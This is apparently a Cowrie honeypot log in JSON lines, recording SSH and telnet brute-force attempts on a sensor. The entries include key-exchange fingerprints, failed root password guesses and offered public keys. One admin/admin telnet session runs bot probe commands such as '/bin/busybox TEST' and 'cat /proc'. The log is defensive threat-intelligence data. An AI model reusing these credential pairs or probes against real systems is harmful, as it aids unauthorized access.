{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:29.262975Z","src_ip":"103.122.221.179","session":"95372cb1e3b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marishka","message":"login attempt [root/marishka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:30.023246Z","src_ip":"103.122.221.179","session":"95372cb1e3b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:31.279554Z","src_ip":"103.122.221.179","session":"95372cb1e3b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.7765703201293945,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:32.872367Z","src_ip":"176.65.139.121","session":"850c38574cc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":60978,"dst_ip":"159.203.135.109","dst_port":23,"session":"59d8f0dcfdd9","protocol":"telnet","message":"New connection: 176.65.139.121:60978 (159.203.135.109:23) [session: 59d8f0dcfdd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:32.958101Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":46096,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a84dfe67574","protocol":"ssh","message":"New connection: 103.27.238.120:46096 (10.17.0.5:22) [session: 0a84dfe67574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:34.871214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:34.876631Z","src_ip":"103.27.238.120","session":"0a84dfe67574","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:35.160392Z","src_ip":"103.27.238.120","session":"0a84dfe67574","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.4165289402008057,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:35.373882Z","src_ip":"176.65.139.121","session":"59d8f0dcfdd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":60984,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd82008e43c3","protocol":"telnet","message":"New connection: 176.65.139.121:60984 (159.203.135.109:23) [session: fd82008e43c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:35.452400Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"makaka","message":"login attempt [root/makaka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:35.963538Z","src_ip":"103.27.238.120","session":"0a84dfe67574","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:37.225791Z","src_ip":"103.27.238.120","session":"0a84dfe67574","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.184.253","src_port":43226,"dst_ip":"10.17.0.5","dst_port":22,"session":"f002c9f4f308","protocol":"ssh","message":"New connection: 43.134.184.253:43226 (10.17.0.5:22) [session: f002c9f4f308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:42.003232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:42.015254Z","src_ip":"43.134.184.253","session":"f002c9f4f308","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:42.254414Z","src_ip":"43.134.184.253","session":"f002c9f4f308","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:42.520049Z","src_ip":"176.65.139.121","session":"fd82008e43c3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"just4you","message":"login attempt [root/just4you] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:43.239601Z","src_ip":"43.134.184.253","session":"f002c9f4f308","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.075307607650757,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:43.527596Z","src_ip":"176.65.139.121","session":"fd82008e43c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":33848,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f8e737d0386","protocol":"telnet","message":"New connection: 176.65.139.121:33848 (159.203.135.109:23) [session: 4f8e737d0386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:43.628523Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:44.480559Z","src_ip":"43.134.184.253","session":"f002c9f4f308","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":55944,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8577ee2cd0b","protocol":"ssh","message":"New connection: 185.236.22.41:55944 (159.203.135.109:22) [session: b8577ee2cd0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:44.563799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:44.571078Z","src_ip":"185.236.22.41","session":"b8577ee2cd0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:44.758216Z","src_ip":"185.236.22.41","session":"b8577ee2cd0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12131415","message":"login attempt [root/12131415] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:45.283638Z","src_ip":"185.236.22.41","session":"b8577ee2cd0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:46.407049Z","src_ip":"185.236.22.41","session":"b8577ee2cd0b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:47.329470Z","src_ip":"176.65.139.121","session":"4f8e737d0386","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:47.384578Z","src_ip":"176.65.139.121","session":"4f8e737d0386","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:48.329596Z","src_ip":"176.65.139.121","session":"4f8e737d0386","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:50.039548Z","src_ip":"176.65.139.121","session":"4f8e737d0386","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:50.689578Z","src_ip":"176.65.139.121","session":"4f8e737d0386","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:51.289454Z","src_ip":"176.65.139.121","session":"4f8e737d0386","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:51.293722Z","src_ip":"176.65.139.121","session":"4f8e737d0386","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"5.8","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:53.206747Z","src_ip":"176.65.139.121","session":"4f8e737d0386","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.591480731964111,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:53.219903Z","src_ip":"176.65.139.121","session":"4f8e737d0386","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":32882,"dst_ip":"10.17.0.5","dst_port":22,"session":"52397eedc19b","protocol":"ssh","message":"New connection: 2.57.122.238:32882 (10.17.0.5:22) [session: 52397eedc19b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:16:21.555475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:16:21.561071Z","src_ip":"2.57.122.238","session":"52397eedc19b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:16:21.662831Z","src_ip":"2.57.122.238","session":"52397eedc19b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:16:21.967882Z","src_ip":"2.57.122.238","session":"52397eedc19b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:16:23.074488Z","src_ip":"2.57.122.238","session":"52397eedc19b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.96.178.216","src_port":12862,"dst_ip":"10.17.0.5","dst_port":22,"session":"19be38ea353b","protocol":"ssh","message":"New connection: 38.96.178.216:12862 (10.17.0.5:22) [session: 19be38ea353b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:16:47.140270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:16:47.144770Z","src_ip":"38.96.178.216","session":"19be38ea353b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:16:47.153451Z","src_ip":"38.96.178.216","session":"19be38ea353b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:9c:41:4f:28:8b:05:1c:0a:78:aa:b0:60:6c:8f:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwfn+Y2JzDx1toSeI30Mg1IbTlJpCDbpwTYLk0CZj4r7TWcdOBB0wVKYfgU1L/TdcccW4ReAbBwZnhv+OUowd23fVUxBNVhr5F1+wWw6orVqa7qq42I+Qyq3AEYxxjlTT0favt2WnuM10RkuS0aS1ZWwrCboJ/5p5IdpAsMs5UTsm7cbUhNKLIYZwzTwkeGhi7Kaer4GQvIkx8XnDz89LuinHW7rML4DDxCnVdzwxSqtbifSE0p9a7dUu0Q0MziLwELwiEuvnbeKjmCABAANhKHBuTKsa1MTRgiwDvslcK3RPfehD+kT/KVFOVmPZTDjg85mnR9rYJBvsjSnwYsvUh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:9c:41:4f:28:8b:05:1c:0a:78:aa:b0:60:6c:8f:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:16:47.176295Z","src_ip":"38.96.178.216","session":"19be38ea353b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:9c:41:4f:28:8b:05:1c:0a:78:aa:b0:60:6c:8f:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwfn+Y2JzDx1toSeI30Mg1IbTlJpCDbpwTYLk0CZj4r7TWcdOBB0wVKYfgU1L/TdcccW4ReAbBwZnhv+OUowd23fVUxBNVhr5F1+wWw6orVqa7qq42I+Qyq3AEYxxjlTT0favt2WnuM10RkuS0aS1ZWwrCboJ/5p5IdpAsMs5UTsm7cbUhNKLIYZwzTwkeGhi7Kaer4GQvIkx8XnDz89LuinHW7rML4DDxCnVdzwxSqtbifSE0p9a7dUu0Q0MziLwELwiEuvnbeKjmCABAANhKHBuTKsa1MTRgiwDvslcK3RPfehD+kT/KVFOVmPZTDjg85mnR9rYJBvsjSnwYsvUh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:16:47.180302Z","src_ip":"38.96.178.216","session":"19be38ea353b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:4c:c7:e0:a8:76:4e:bb:7c:42:6c:ea:5f:5b:6d:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtVVL1vQV9zGSxbROeFBfMYSfUogyGwgtuErbNfCADCPZUlK/uCGqfZJktp0zoUbQtzJjDMPe2I4Ymdsl3B07QvB9LePNeAPfqtmNfMjoekEtQy+xbqMLW6WQMCiOGlgD82ufDbtHH8+H082kWVtdkoppIc4+o4I0AKbz0pRWjnSXPFtkVD1UcHtg1I1i8wO0sNnxI9ZP42c2Ounpp26WM7BvKJnxHSTxHHlcpW0fLOlfV9/3dKorbjmtRGIWCy8ZBHWhlJNUHdfEoI8BQZzTuGbQ1tpm8/BHld01DvuQR1AS3t/Bc0Vuj8X7lJbf7lD+WJerOj5RvOBreFp3AbXudw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:4c:c7:e0:a8:76:4e:bb:7c:42:6c:ea:5f:5b:6d:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:16:47.188199Z","src_ip":"38.96.178.216","session":"19be38ea353b","protocol":"ssh"}
